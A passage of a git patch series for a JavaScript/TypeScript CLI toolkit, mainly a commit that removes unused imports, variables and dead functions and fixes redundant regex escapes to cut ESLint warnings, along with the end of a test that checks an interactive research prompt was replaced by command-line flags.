' view=' + hasView + ' skip=' + hasSkip + /using it/i.test(window), + 'existing-RESEARCH.md notice must state the existing research is being used (e.g. "using it")' + ); + assert.ok( + /--research\b/.test(window), + 'notice must name --research as the force-refresh escape hatch' + ); + assert.ok( + /--view\b/.test(window), + 'notice must name --view as the print-existing escape hatch' + ); + // Negative contract: the interactive three-choice prompt must be gone. + // Guard against reintroduction via prose, an AskUserQuestion call, or a + // lingering "skip" choice token. (The §5.1 "skip to step 6" text is ~805 + // chars past the anchor, outside this 600-char window.) + assert.ok( + !/prompt the user/i.test(window) && + !/three choices/i.test(window) && + !/AskUserQuestion/i.test(window) && + !/\bskip\b/i.test(window), + 'existing-RESEARCH.md path must no longer present an interactive update/view/skip prompt' ); }); }); From ba231ecbfc5a4c90125d52786d1e9ca8c72acf63 Mon Sep 17 00:00:00 2001 From: Tom Boucher Date: Sat, 6 Jun 2026 11:24:48 -0400 Subject: [PATCH 22/94] chore: clean up clear-cut ESLint warnings (#732) (#734) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Pay down pre-existing error→warn lint debt. Removes dead imports/vars, unused functions, redundant regex/string escapes, and stale eslint-disable directives; converts unused `catch (_e)` to optional catch binding (src/*.cts). No behavior change. Lint 345→125 warnings (0 errors); deferred categories (n/no-process-exit, test-sleeps, control-regex) tracked in #732 for follow-up. Full test suite green (0 failures); code-review verified all removals unused and all escape fixes semantics-preserving. Closes #732 Co-authored-by: Claude Opus 4.8 --- gsd-core/bin/gsd-tools.cjs | 2 -- scripts/affected-tests-lib.cjs | 2 +- scripts/changeset/cli.cjs | 2 +- scripts/check-env.cjs | 2 +- scripts/ci-rebase-check.cjs | 5 +--- scripts/ci-test-scope.cjs | 1 - scripts/gen-research-agents.cjs | 2 +- scripts/strip-prose-atrefs.cjs | 2 +- scripts/sync-runtime-launcher.cjs | 3 -- src/command-routing-hub.cts | 2 +- src/config.cts | 1 - src/graphify.cts | 4 +-- src/intel.cts | 22 ++------------- src/research-provider.cts | 1 - src/roadmap-upgrade.cts | 16 ----------- src/workstream-inventory.cts | 3 +- .../4-phase-complete-cjs-regression.test.cjs | 2 -- tests/agent-install-validation.test.cjs | 2 +- tests/analyze-dependencies.test.cjs | 2 +- tests/autonomous-ui-steps.test.cjs | 2 +- tests/backwards-compat-phase-id.test.cjs | 2 +- ...lease-tarball-smoke-explicit-home.test.cjs | 2 +- tests/bug-211-launcher-home-fallback.test.cjs | 1 - tests/bug-2136-sh-hook-version.test.cjs | 6 ++-- ...ug-2256-model-overrides-transport.test.cjs | 1 - tests/bug-2470-update-md-claude-path.test.cjs | 2 +- tests/bug-2530-valid-config-keys.test.cjs | 1 - tests/bug-2543-gsd-slash-namespace.test.cjs | 8 ------ .../bug-2760-codex-install-defensive.test.cjs | 6 ++-- ...-opencode-model-profile-overrides.test.cjs | 4 --- tests/bug-2808-skill-hyphen-name.test.cjs | 2 +- tests/bug-2992-check-latest-version.test.cjs | 3 +- ...ug-3037-gemini-duplicate-commands.test.cjs | 1 - ...6-global-skills-base-runtime-path.test.cjs | 1 - ...28-roadmap-plan-count-slug-layout.test.cjs | 9 ------ ...bug-3135-capture-backlog-workflow.test.cjs | 1 - ...242-state-update-progress-trample.test.cjs | 6 ++-- ...ug-3285-codex-hooks-state-allowed.test.cjs | 1 - ...g-3288-model-catalog-install-path.test.cjs | 1 - ...config-branching-strategy-warning.test.cjs | 2 +- ...added-id-against-unpadded-roadmap.test.cjs | 2 +- ...-migration-prompt-user-resolution.test.cjs | 5 ---- ...nfiguration-manifest-install-path.test.cjs | 1 - ...ug-3582-codex-skills-materialized.test.cjs | 1 - ...tion-bundled-hooks-classification.test.cjs | 1 - ...659-applysurface-prune-skill-dirs.test.cjs | 10 +++---- ...683-workflow-colon-namespace-leak.test.cjs | 3 +- ...nnotate-deps-plans-block-variants.test.cjs | 18 ++++++------ .../bug-3707-locked-worktree-cleanup.test.cjs | 1 - ...35-profiles-core-includes-surface.test.cjs | 1 - ...gap-checker-padded-prefix-context.test.cjs | 10 ------- ...g-376-claude-js-hook-gsd-rewriter.test.cjs | 1 - ...s-model-profile-ui-omits-adaptive.test.cjs | 1 - ...g-474-clock-seam-date-determinism.test.cjs | 2 +- .../bug-492-effort-manifest-fallback.test.cjs | 3 +- tests/bug-570-codex-leak-scanner.test.cjs | 1 - tests/changeset-cli.test.cjs | 28 +++++++++---------- tests/claude-skills-migration.test.cjs | 1 - tests/clock-seam.test.cjs | 7 +---- tests/code-review-command.test.cjs | 2 +- tests/concurrency-safety.test.cjs | 24 ---------------- tests/copilot-install.test.cjs | 4 +-- tests/core.test.cjs | 2 -- tests/cursor-reviewer.test.cjs | 6 ++-- tests/dispatch/trace-correlation.test.cjs | 2 +- tests/docs-parity-live-registry.test.cjs | 4 --- tests/enh-2430-learnings-consumption.test.cjs | 4 +-- tests/enh-2447-roadmap-wave-deps.test.cjs | 2 +- tests/feat-3024-dynamic-routing.test.cjs | 2 -- tests/feat-3593-cli-negative-config.test.cjs | 2 +- ...5-fs-fault-injection-atomic-write.test.cjs | 4 +-- tests/feat-443-effort-fast-mode.test.cjs | 2 +- tests/feat-49-model-policy-presets.test.cjs | 1 - tests/frontmatter.test.cjs | 1 - tests/graphify-visualization.test.cjs | 12 ++++---- tests/gsd2-import.test.cjs | 3 +- tests/hardcoded-paths.test.cjs | 2 +- tests/health-validation.test.cjs | 1 - tests/helpers-cleanup.test.cjs | 1 - tests/install-minimal-hooks.test.cjs | 2 -- tests/install-path-detection.test.cjs | 2 +- tests/install.test.cjs | 1 - ...ler-migration-install-integration.test.cjs | 8 ------ ...staller-migration-rename-gsd-core.test.cjs | 2 +- tests/intel.test.cjs | 3 +- tests/lint-test-file-count.test.cjs | 2 -- .../locking-bugs-1909-1916-1925-1927.test.cjs | 7 +---- tests/milestone-summary.test.cjs | 5 +--- tests/next-up-clear-order.test.cjs | 1 - tests/observability/event.test.cjs | 2 +- .../hub-logger-integration.test.cjs | 2 -- tests/package-legitimacy-gate.test.cjs | 2 +- tests/package-name-single-source.test.cjs | 1 - tests/phase-command-router.test.cjs | 8 +++--- tests/phase.test.cjs | 2 +- tests/plan-review-convergence.test.cjs | 1 - tests/policy-shell-pinning.test.cjs | 1 - tests/profile-output.test.cjs | 2 +- tests/profile-pipeline.test.cjs | 1 - tests/prompt-budget.test.cjs | 6 ++-- tests/prompt-injection-scan.test.cjs | 2 +- tests/reapply-patches.test.cjs | 6 ++-- tests/schema-drift.test.cjs | 2 +- tests/secret-scan-lint.test.cjs | 21 +------------- tests/security-prompt-injection.test.cjs | 2 +- tests/security-scan.test.cjs | 6 ++-- tests/settings-integrations.test.cjs | 4 --- tests/settings-jsonc.test.cjs | 2 +- ...shell-command-projection-dispatch.test.cjs | 2 +- tests/temp-subdir.test.cjs | 2 +- tests/thinking-model-guidance.test.cjs | 4 +-- tests/windows-robustness.test.cjs | 3 -- tests/workflow-guard-registration.test.cjs | 1 - tests/workflow-shell-pinning.test.cjs | 24 ++++++++-------- tests/workspace.test.cjs | 3 +- tests/workstream.test.cjs | 11 +------- tests/worktree.test.cjs | 10 +++---- 117 files changed, 132 insertions(+), 350 deletions(-) diff --git a/gsd-core/bin/gsd-tools.cjs b/gsd-core/bin/gsd-tools.cjs index 8b0421da8..7e33347e6 100755 --- a/gsd-core/bin/gsd-tools.cjs +++ b/gsd-core/bin/gsd-tools.cjs @@ -298,13 +298,11 @@ async function main() { // Optional workstream override for parallel milestone work. // Priority: --ws flag > GSD_WORKSTREAM env var > session/shared pointer > null. - let ws = null; let workstreamContext = null; try { workstreamContext = resolveActiveWorkstream(cwd, args, process.env, { getStored: getActiveWorkstream, }); - ws = workstreamContext.ws; args = workstreamContext.args; // Set env var so all modules (planningDir, planningPaths) auto-resolve workstream paths. applyResolvedWorkstreamEnv(workstreamContext, process.env); diff --git a/scripts/affected-tests-lib.cjs b/scripts/affected-tests-lib.cjs index 2918e4232..c0ba24d5b 100644 --- a/scripts/affected-tests-lib.cjs +++ b/scripts/affected-tests-lib.cjs @@ -442,7 +442,7 @@ function resolveBaseRef() { * security), so every concrete match that pickAffectedTests put into `selected` * belongs to one of those suites and will be exercised by running all three. */ -function resolveRunPlan({ changedFiles, selected, widenRequired, criticalPath, noChanges }) { +function resolveRunPlan({ changedFiles: _changedFiles, selected, widenRequired, criticalPath, noChanges }) { if (noChanges) { return { mode: 'suite', suite: 'unit' }; } diff --git a/scripts/changeset/cli.cjs b/scripts/changeset/cli.cjs index 5875b0c9d..ee8749ccf 100755 --- a/scripts/changeset/cli.cjs +++ b/scripts/changeset/cli.cjs @@ -17,7 +17,7 @@ const fs = require('node:fs'); const path = require('node:path'); -const { parseFragment, FRAGMENT_ERROR } = require('./parse.cjs'); +const { parseFragment } = require('./parse.cjs'); const { renderChangelog } = require('./render.cjs'); const { serializeChangelog, parseChangelog } = require('./serialize.cjs'); const { renderGithubReleaseNotes } = require('./github-release-notes.cjs'); diff --git a/scripts/check-env.cjs b/scripts/check-env.cjs index 4d51fb867..2ce274764 100644 --- a/scripts/check-env.cjs +++ b/scripts/check-env.cjs @@ -27,7 +27,7 @@ const fs = require('fs'); const path = require('path'); -const { execFileSync, spawnSync } = require('child_process'); +const { spawnSync } = require('child_process'); // On Windows, npm ships as npm.cmd (a batch wrapper); spawnSync without // shell:true requires the exact filename including extension. diff --git a/scripts/ci-rebase-check.cjs b/scripts/ci-rebase-check.cjs index 5e8923570..6cfcbb04c 100644 --- a/scripts/ci-rebase-check.cjs +++ b/scripts/ci-rebase-check.cjs @@ -11,8 +11,7 @@ // Exit 0 = merged cleanly (or merge was a no-op). // Exit 1 = merge conflict or fetch failure. -const { execFileSync, execSync } = require('child_process'); -const path = require('path'); +const { execFileSync } = require('child_process'); function run(cmd, args, opts) { try { @@ -50,11 +49,9 @@ if (token && repo) { } // Fetch base branch with retry. -let fetched = false; for (let attempt = 1; attempt <= 3; attempt++) { const result = run('git', ['fetch', 'origin', baseBranch]); if (result) { - fetched = true; break; } if (attempt === 3) { diff --git a/scripts/ci-test-scope.cjs b/scripts/ci-test-scope.cjs index 299491b2b..f81c384a2 100644 --- a/scripts/ci-test-scope.cjs +++ b/scripts/ci-test-scope.cjs @@ -3,7 +3,6 @@ const { execFileSync } = require('child_process'); const { existsSync, readdirSync, appendFileSync } = require('fs'); -const { join } = require('path'); const RULES = [ { diff --git a/scripts/gen-research-agents.cjs b/scripts/gen-research-agents.cjs index 9512668b8..6ff6de3ea 100644 --- a/scripts/gen-research-agents.cjs +++ b/scripts/gen-research-agents.cjs @@ -133,7 +133,7 @@ function checkAgent(profile) { return ['agent file not found: ' + agentPath]; } - const { fields, body } = parseAgentFile(agentPath); + const { fields } = parseAgentFile(agentPath); const fullContent = fs.readFileSync(agentPath, 'utf8'); // (a) frontmatter fields diff --git a/scripts/strip-prose-atrefs.cjs b/scripts/strip-prose-atrefs.cjs index fb4b2b2f0..45c3ac7f1 100644 --- a/scripts/strip-prose-atrefs.cjs +++ b/scripts/strip-prose-atrefs.cjs @@ -30,7 +30,7 @@ const DRY_RUN = process.argv.includes('--dry-run'); const ROOT = path.join(__dirname, '..'); const COMMANDS_DIR = path.join(ROOT, 'commands', 'gsd'); -const AT_PATH_PATTERN = /@(?:~|\$HOME)\/.+?gsd-core\/[^\s`\)]+/; +const AT_PATH_PATTERN = /@(?:~|\$HOME)\/.+?gsd-core\/[^\s`)]+/; const mkAtRe = () => new RegExp(AT_PATH_PATTERN.source, 'g'); function transformLine(line) { diff --git a/scripts/sync-runtime-launcher.cjs b/scripts/sync-runtime-launcher.cjs index 9c4dc9059..fc52ceec4 100644 --- a/scripts/sync-runtime-launcher.cjs +++ b/scripts/sync-runtime-launcher.cjs @@ -96,9 +96,6 @@ function removeResolverLines(lines, preamble) { const result = []; let i = 0; - // Build a set of preamble lines for fast lookup (to strip previously-inserted preambles) - const preambleLineSet = new Set(preamble); - while (i < lines.length) { const line = lines[i]; const trimmed = line.trim(); diff --git a/src/command-routing-hub.cts b/src/command-routing-hub.cts index 4fd6d91d8..eb57c6699 100644 --- a/src/command-routing-hub.cts +++ b/src/command-routing-hub.cts @@ -271,7 +271,7 @@ function createHub({ cjsRegistry, manifest, logger }: HubOptions = {}): { dispat } // err variant: already has kind + typed payload // Double-cast through unknown to satisfy strict index-signature check. - return hubResult as unknown as Record; // eslint-disable-line @typescript-eslint/no-unsafe-return + return hubResult as unknown as Record; } /** diff --git a/src/config.cts b/src/config.cts index f3bbf04af..a0eb45f7c 100644 --- a/src/config.cts +++ b/src/config.cts @@ -679,7 +679,6 @@ function cmdConfigSetModelProfile(cwd: string, profile: string | undefined, raw: error(`Usage: config-set-model-profile <${VALID_PROFILES.join('|')}>`); } - // eslint-disable-next-line @typescript-eslint/no-unnecessary-type-assertion const normalizedProfile = profile!.toLowerCase().trim(); if (!VALID_PROFILES.includes(normalizedProfile)) { error(`Invalid profile '${String(profile)}'. Valid profiles: ${VALID_PROFILES.join(', ')}`); diff --git a/src/graphify.cts b/src/graphify.cts index 4bc068b19..d8432cfb6 100644 --- a/src/graphify.cts +++ b/src/graphify.cts @@ -33,7 +33,7 @@ function isGraphifyEnabled(planningDir: string): boolean { (config.graphify as Record).enabled === true ) return true; return false; - } catch (_e) { + } catch { return false; } } @@ -230,7 +230,7 @@ function safeReadJson(filePath: string): Graph | null { try { if (!fs.existsSync(filePath)) return null; return JSON.parse(fs.readFileSync(filePath, 'utf8')) as Graph; - } catch (_e) { + } catch { return null; } } diff --git a/src/intel.cts b/src/intel.cts index 8b4d8c958..f9ccb5a5c 100644 --- a/src/intel.cts +++ b/src/intel.cts @@ -61,7 +61,7 @@ function isIntelEnabled(planningDir: string): boolean { (config.intel as Record).enabled === true ) return true; return false; - } catch (_e) { + } catch { return false; } } @@ -104,7 +104,7 @@ function safeReadJson(filePath: string): IntelData | null { const raw = platformReadSync(filePath); if (raw === null) return null; return JSON.parse(raw) as IntelData; - } catch (_e) { + } catch { return null; } } @@ -118,7 +118,7 @@ function hashFile(filePath: string): string | null { const content = platformReadSync(filePath); if (content === null) return null; return crypto.createHash('sha256').update(content).digest('hex'); - } catch (_e) { + } catch { return null; } } @@ -175,22 +175,6 @@ function matchesInValue(value: unknown, lowerTerm: string): boolean { return false; } -/** - * Search for a term in arch.md text content. - * Returns matching lines. - */ -function searchArchMd(filePath: string, term: string): string[] { - try { - const content = platformReadSync(filePath); - if (content === null) return []; - const lowerTerm = term.toLowerCase(); - const lines = content.split(/\r?\n/); - return lines.filter(line => line.toLowerCase().includes(lowerTerm)); - } catch (_e) { - return []; - } -} - // ─── Public API ────────────────────────────────────────────────────────────── interface IntelQueryResult { diff --git a/src/research-provider.cts b/src/research-provider.cts index 0c89edc20..3a2c27d69 100644 --- a/src/research-provider.cts +++ b/src/research-provider.cts @@ -12,7 +12,6 @@ // Types // --------------------------------------------------------------------------- -type ProviderKind = 'docs' | 'web' | 'scrape'; type ConfidenceLevel = 'HIGH' | 'MEDIUM' | 'LOW'; interface ProviderWaterfall { diff --git a/src/roadmap-upgrade.cts b/src/roadmap-upgrade.cts index cf091d3b5..6f07b0ad4 100644 --- a/src/roadmap-upgrade.cts +++ b/src/roadmap-upgrade.cts @@ -27,9 +27,6 @@ const MIGRATED_PHASE_HEADING_RE = /^#{2,4}\s*(?:\[[^\]]+\]\s*)?Phase\s+\d+-\d{2} // The optional bracket-token prefix (e.g., [GSD]) must be tested before the emoji group. const MILESTONE_HEADING_RE = /^##\s+(?:\[[^\]]+\]\s+|Roadmap\s+|[✅🚧]\s*)?v(\d+)\.(\d+)(?:\s|:)/iu; -// Matches checklist phase references: - [ ] **Phase N:** or - [x] **Phase N:** (also decimal) -const CHECKLIST_PHASE_RE = /^(\s*-\s*\[[ x]\]\s*\*{0,2})Phase\s+(\d+[A-Z]?(?:\.\d+)*)\s*:/gi; - // ─── Types ──────────────────────────────────────────────────────────────────── interface ParsedPhaseEntry { @@ -199,19 +196,6 @@ function buildNewDirName(oldDirName: string, newId: string, projectCode: string return projectCode ? `${projectCode}-${newBase}` : newBase; } -/** - * Read project_code from config.json if present. - */ -function readProjectCode(configPath: string): string | null { - try { - const raw = fs.readFileSync(configPath, 'utf8'); - const parsed = JSON.parse(raw) as Record; - return typeof parsed['project_code'] === 'string' ? parsed['project_code'] : null; - } catch { - return null; - } -} - // ─── computeMigrationPlan ───────────────────────────────────────────────────── /** diff --git a/src/workstream-inventory.cts b/src/workstream-inventory.cts index 8cafdee39..9068c9d37 100644 --- a/src/workstream-inventory.cts +++ b/src/workstream-inventory.cts @@ -17,7 +17,7 @@ import fs from 'node:fs'; import path from 'node:path'; // eslint-disable-next-line @typescript-eslint/no-require-imports import core = require('./core.cjs'); -const { toPosixPath, readSubdirectories } = core; +const { readSubdirectories } = core; // eslint-disable-next-line @typescript-eslint/no-require-imports import planScan = require('./plan-scan.cjs'); // eslint-disable-next-line @typescript-eslint/no-require-imports @@ -163,7 +163,6 @@ function getOtherActiveWorkstreamInventories(cwd: string, excludeWs: string): Wo .filter(inventory => !isCompletedInventory(inventory.status)); } -// Re-export toPosixPath for compatibility (used by callers indirectly through core) export = { countPhaseFiles, countRoadmapPhases, diff --git a/tests/4-phase-complete-cjs-regression.test.cjs b/tests/4-phase-complete-cjs-regression.test.cjs index 943e5f1d0..29f50f480 100644 --- a/tests/4-phase-complete-cjs-regression.test.cjs +++ b/tests/4-phase-complete-cjs-regression.test.cjs @@ -192,8 +192,6 @@ function extractFrontmatterField(stateContent, fieldName) { // Capture stdout from cmdPhaseComplete (it calls output() which writes to stdout) function capturePhaseComplete(cwd, phaseNum) { - const { execFileSync } = require('child_process'); - const TOOLS = path.join(__dirname, '..', 'gsd-core', 'bin', 'gsd-tools.cjs'); // We invoke gsd-tools directly for the full CJS path, but with GSD_DISABLE_SDK_BRIDGE=1 // to force the CJS implementation. Since no env var disables bridge, we call cmdPhaseComplete // directly and redirect output capture. diff --git a/tests/agent-install-validation.test.cjs b/tests/agent-install-validation.test.cjs index f378b495d..17c03a858 100644 --- a/tests/agent-install-validation.test.cjs +++ b/tests/agent-install-validation.test.cjs @@ -25,7 +25,7 @@ const EXPECTED_AGENTS = Object.keys(MODEL_PROFILES); * We use --cwd to point at the project, and GSD_INSTALL_DIR env to override * the agents directory location for testing. */ -function createAgentsDir(configDir, agentNames = []) { +function _createAgentsDir(configDir, agentNames = []) { const agentsDir = path.join(configDir, AGENTS_DIR_NAME); fs.mkdirSync(agentsDir, { recursive: true }); for (const name of agentNames) { diff --git a/tests/analyze-dependencies.test.cjs b/tests/analyze-dependencies.test.cjs index e796d8af0..90859ec6f 100644 --- a/tests/analyze-dependencies.test.cjs +++ b/tests/analyze-dependencies.test.cjs @@ -3,7 +3,7 @@ // IS what the runtime loads. Testing text content tests the deployed contract. // Per CONTRIBUTING.md exception matrix. -const { test, describe, beforeEach, afterEach } = require('node:test'); +const { test, describe } = require('node:test'); const assert = require('node:assert/strict'); const fs = require('fs'); const path = require('path'); diff --git a/tests/autonomous-ui-steps.test.cjs b/tests/autonomous-ui-steps.test.cjs index 9c851557f..28205874b 100644 --- a/tests/autonomous-ui-steps.test.cjs +++ b/tests/autonomous-ui-steps.test.cjs @@ -6,7 +6,7 @@ * for phases with frontend indicators. */ -const { describe, it, test, beforeEach } = require('node:test'); +const { describe, test, beforeEach } = require('node:test'); const assert = require('node:assert/strict'); const fs = require('fs'); const path = require('path'); diff --git a/tests/backwards-compat-phase-id.test.cjs b/tests/backwards-compat-phase-id.test.cjs index 0013572bc..60426b931 100644 --- a/tests/backwards-compat-phase-id.test.cjs +++ b/tests/backwards-compat-phase-id.test.cjs @@ -24,7 +24,7 @@ const assert = require('node:assert/strict'); const fs = require('node:fs'); const path = require('node:path'); -const { createTempProject, cleanup, runGsdTools, captureConsole } = require('./helpers.cjs'); +const { createTempProject, cleanup, captureConsole } = require('./helpers.cjs'); const { getMilestonePhaseFilter } = require('../gsd-core/bin/lib/core.cjs'); // ─── helpers ───────────────────────────────────────────────────────────────── diff --git a/tests/bug-131-release-tarball-smoke-explicit-home.test.cjs b/tests/bug-131-release-tarball-smoke-explicit-home.test.cjs index 996725bb3..d84d79e18 100644 --- a/tests/bug-131-release-tarball-smoke-explicit-home.test.cjs +++ b/tests/bug-131-release-tarball-smoke-explicit-home.test.cjs @@ -25,7 +25,7 @@ const path = require('node:path'); const { execFileSync } = require('node:child_process'); // The helpers under test. -const { runNpm, isolatedNpmEnv, cleanup } = require('./helpers.cjs'); +const { isolatedNpmEnv, cleanup } = require('./helpers.cjs'); // Resolve a filesystem path to its canonical (symlink-free) form even if the // leaf does not exist yet (e.g. ~/.npm before npm has written its cache). diff --git a/tests/bug-211-launcher-home-fallback.test.cjs b/tests/bug-211-launcher-home-fallback.test.cjs index bc8e287ac..fe4909953 100644 --- a/tests/bug-211-launcher-home-fallback.test.cjs +++ b/tests/bug-211-launcher-home-fallback.test.cjs @@ -87,7 +87,6 @@ describe('bug-211: launcher ~/.claude home fallback', () => { // in the same directory as gsd-tools, create a dedicated shim dir with a // symlink to node only (no gsd-tools there). const nodeBin = execFileSync('which', ['node'], { encoding: 'utf8' }).trim(); - const nodeBinDir = path.dirname(nodeBin); const systemPaths = (process.env.PATH || '/usr/bin:/bin') .split(path.delimiter) .filter((p) => { diff --git a/tests/bug-2136-sh-hook-version.test.cjs b/tests/bug-2136-sh-hook-version.test.cjs index bcf045db3..e24f107f5 100644 --- a/tests/bug-2136-sh-hook-version.test.cjs +++ b/tests/bug-2136-sh-hook-version.test.cjs @@ -45,7 +45,7 @@ const os = require('os'); const { execFileSync } = require('child_process'); const HOOKS_DIR = path.join(__dirname, '..', 'hooks'); -const CHECK_UPDATE_FILE = path.join(HOOKS_DIR, 'gsd-check-update.js'); +const _CHECK_UPDATE_FILE = path.join(HOOKS_DIR, 'gsd-check-update.js'); const WORKER_FILE = path.join(HOOKS_DIR, 'gsd-check-update-worker.js'); const INSTALL_SCRIPT = path.join(__dirname, '..', 'bin', 'install.js'); const BUILD_SCRIPT = path.join(__dirname, '..', 'scripts', 'build-hooks.js'); @@ -142,11 +142,11 @@ describe('bug #2136 part 2: stale-hook detector handles bash comment syntax', () // "(?:\/\/|#)" directly in source. const hasBashAlternative = src.includes('(?:\\/\\/|#)') || // escaped form (old template-literal style) - src.includes('(?:\/\/|#)'); // direct form in plain JS worker + src.includes('(?://|#)'); // direct form in plain JS worker assert.ok( hasBashAlternative, 'gsd-check-update-worker.js version regex must include an alternative for bash "#" comments. ' + - 'Expected to find (?:\\/\\/|#) or (?:\/\/|#) in the source. ' + + 'Expected to find (?:\\/\\/|#) or (?://|#) in the source. ' + 'The original "//" only regex causes bash hooks to always report hookVersion: "unknown"' ); }); diff --git a/tests/bug-2256-model-overrides-transport.test.cjs b/tests/bug-2256-model-overrides-transport.test.cjs index 6b40ac7ee..f6f6e37dc 100644 --- a/tests/bug-2256-model-overrides-transport.test.cjs +++ b/tests/bug-2256-model-overrides-transport.test.cjs @@ -17,7 +17,6 @@ const { test, describe, beforeEach, afterEach } = require('node:test'); const assert = require('node:assert/strict'); const fs = require('fs'); const path = require('path'); -const os = require('os'); const isWindows = process.platform === 'win32'; diff --git a/tests/bug-2470-update-md-claude-path.test.cjs b/tests/bug-2470-update-md-claude-path.test.cjs index 2c315ba38..83cc17a32 100644 --- a/tests/bug-2470-update-md-claude-path.test.cjs +++ b/tests/bug-2470-update-md-claude-path.test.cjs @@ -35,7 +35,7 @@ describe('update.md — no bare ~.claude path references (#2470)', () => { assert.strictEqual( matches, null, - `update.md must not contain bare ~/\.claude (without trailing slash) — installer scanner flags these as unresolved path refs: ${JSON.stringify(matches)}` + `update.md must not contain bare ~/.claude (without trailing slash) — installer scanner flags these as unresolved path refs: ${JSON.stringify(matches)}` ); }); }); diff --git a/tests/bug-2530-valid-config-keys.test.cjs b/tests/bug-2530-valid-config-keys.test.cjs index ecb5c732b..53e30ef53 100644 --- a/tests/bug-2530-valid-config-keys.test.cjs +++ b/tests/bug-2530-valid-config-keys.test.cjs @@ -13,7 +13,6 @@ const { describe, test } = require('node:test'); const assert = require('node:assert/strict'); -const path = require('node:path'); const { createTempProject, cleanup, runGsdTools } = require('./helpers.cjs'); const { VALID_CONFIG_KEYS, isValidConfigKey } = require('../gsd-core/bin/lib/config-schema.cjs'); diff --git a/tests/bug-2543-gsd-slash-namespace.test.cjs b/tests/bug-2543-gsd-slash-namespace.test.cjs index 72cc2d34c..e4b7cba81 100644 --- a/tests/bug-2543-gsd-slash-namespace.test.cjs +++ b/tests/bug-2543-gsd-slash-namespace.test.cjs @@ -49,14 +49,6 @@ const COMMANDS_DIR = path.join(ROOT, 'commands', 'gsd'); // // Expand this list only if a new runtime-emitter module is introduced AND the // bug-3584 test is updated to cover it. -const RUNTIME_EMITTER_EXCLUDES = new Set([ - // Primary runtime-slash emitter (bug-3584 canonical contract): - path.join(ROOT, 'gsd-core', 'bin', 'lib', 'runtime-slash.cjs'), - // phase-lifecycle-policy.ts emits runtime-persisted slash references (bug-3584): - path.join(ROOT, 'gsd-core', 'bin', 'lib', 'phase-lifecycle-policy.ts'), - // Generated CJS files match the TS source's emitted form — never hand-edited: - // (matched below by .generated.cjs extension — see collectFiles exclusion) -]); const SEARCH_DIRS = [ // NOTE: gsd-core/bin/lib is intentionally EXCLUDED from SEARCH_DIRS. diff --git a/tests/bug-2760-codex-install-defensive.test.cjs b/tests/bug-2760-codex-install-defensive.test.cjs index 0517494c6..6e9fcd85e 100644 --- a/tests/bug-2760-codex-install-defensive.test.cjs +++ b/tests/bug-2760-codex-install-defensive.test.cjs @@ -40,8 +40,6 @@ const { install, validateCodexConfigSchema, hasUserNamespacedAotHooks, - stripGsdFromCodexConfig, - installCodexConfig, parseTomlToObject, } = require('../bin/install.js'); @@ -222,7 +220,7 @@ describe('#2760 defect 3 — Hooks AoT preservation across install/uninstall/rei runCodexInstall(codexHome); const content = readCodexConfig(codexHome); - const parsed = parseTomlToObject(content); + parseTomlToObject(content); const hooksJsonCommands = readHooksSessionStartCommands(codexHome); const gsdHandlers = hooksJsonCommands.filter((cmd) => /gsd-check-update/.test(cmd)); @@ -233,7 +231,7 @@ describe('#2760 defect 3 — Hooks AoT preservation across install/uninstall/rei writeCodexConfig(codexHome, ''); runCodexInstall(codexHome); runCodexInstall(codexHome); // second install - const content = readCodexConfig(codexHome); + readCodexConfig(codexHome); const hooksJsonCommands = readHooksSessionStartCommands(codexHome); const gsdHandlers = hooksJsonCommands.filter((cmd) => /gsd-check-update/.test(cmd)); diff --git a/tests/bug-2794-opencode-model-profile-overrides.test.cjs b/tests/bug-2794-opencode-model-profile-overrides.test.cjs index d00b6d7cb..97b53f648 100644 --- a/tests/bug-2794-opencode-model-profile-overrides.test.cjs +++ b/tests/bug-2794-opencode-model-profile-overrides.test.cjs @@ -26,12 +26,8 @@ const { describe, test, beforeEach, afterEach } = require('node:test'); const assert = require('node:assert/strict'); const fs = require('node:fs'); const path = require('node:path'); -const os = require('node:os'); - const { readGsdRuntimeProfileResolver, - readGsdEffectiveModelOverrides, - convertClaudeToOpencodeFrontmatter, install, } = require('../bin/install.js'); diff --git a/tests/bug-2808-skill-hyphen-name.test.cjs b/tests/bug-2808-skill-hyphen-name.test.cjs index 2cadae339..efdc0a8ce 100644 --- a/tests/bug-2808-skill-hyphen-name.test.cjs +++ b/tests/bug-2808-skill-hyphen-name.test.cjs @@ -34,7 +34,7 @@ const path = require('node:path'); const { cleanup, createTempDir } = require('./helpers.cjs'); const ROOT = path.join(__dirname, '..'); -const { convertClaudeCommandToClaudeSkill, installRuntimeArtifacts, uninstallRuntimeArtifacts, skillFrontmatterName } = +const { convertClaudeCommandToClaudeSkill, installRuntimeArtifacts, skillFrontmatterName } = require(path.join(ROOT, 'bin', 'install.js')); const { diff --git a/tests/bug-2992-check-latest-version.test.cjs b/tests/bug-2992-check-latest-version.test.cjs index f32bc4cc4..adb41e724 100644 --- a/tests/bug-2992-check-latest-version.test.cjs +++ b/tests/bug-2992-check-latest-version.test.cjs @@ -1,10 +1,9 @@ 'use strict'; process.env.GSD_TEST_MODE = '1'; -const { test, describe, before, after } = require('node:test'); +const { test, describe } = require('node:test'); const assert = require('node:assert/strict'); const path = require('node:path'); -const cp = require('node:child_process'); const ROOT = path.join(__dirname, '..'); const { checkLatestVersion, CHECK_REASON, PACKAGE_NAME } = require( diff --git a/tests/bug-3037-gemini-duplicate-commands.test.cjs b/tests/bug-3037-gemini-duplicate-commands.test.cjs index 92a40b564..313c5be30 100644 --- a/tests/bug-3037-gemini-duplicate-commands.test.cjs +++ b/tests/bug-3037-gemini-duplicate-commands.test.cjs @@ -28,7 +28,6 @@ const { test, describe, beforeEach, afterEach } = require('node:test'); const assert = require('node:assert/strict'); const fs = require('node:fs'); const path = require('node:path'); -const os = require('node:os'); const { createTempDir, cleanup } = require('./helpers.cjs'); const { install } = require('../bin/install.js'); diff --git a/tests/bug-3126-global-skills-base-runtime-path.test.cjs b/tests/bug-3126-global-skills-base-runtime-path.test.cjs index d606261dc..e1088b624 100644 --- a/tests/bug-3126-global-skills-base-runtime-path.test.cjs +++ b/tests/bug-3126-global-skills-base-runtime-path.test.cjs @@ -27,7 +27,6 @@ const { getGlobalConfigDir, getGlobalSkillsBase, getGlobalSkillDir, - getGlobalSkillDisplayPath, } = require(path.join(ROOT, 'gsd-core', 'bin', 'lib', 'runtime-homes.cjs')); // Helper: run fn with an env var temporarily set diff --git a/tests/bug-3128-roadmap-plan-count-slug-layout.test.cjs b/tests/bug-3128-roadmap-plan-count-slug-layout.test.cjs index 223595526..7f3ba934b 100644 --- a/tests/bug-3128-roadmap-plan-count-slug-layout.test.cjs +++ 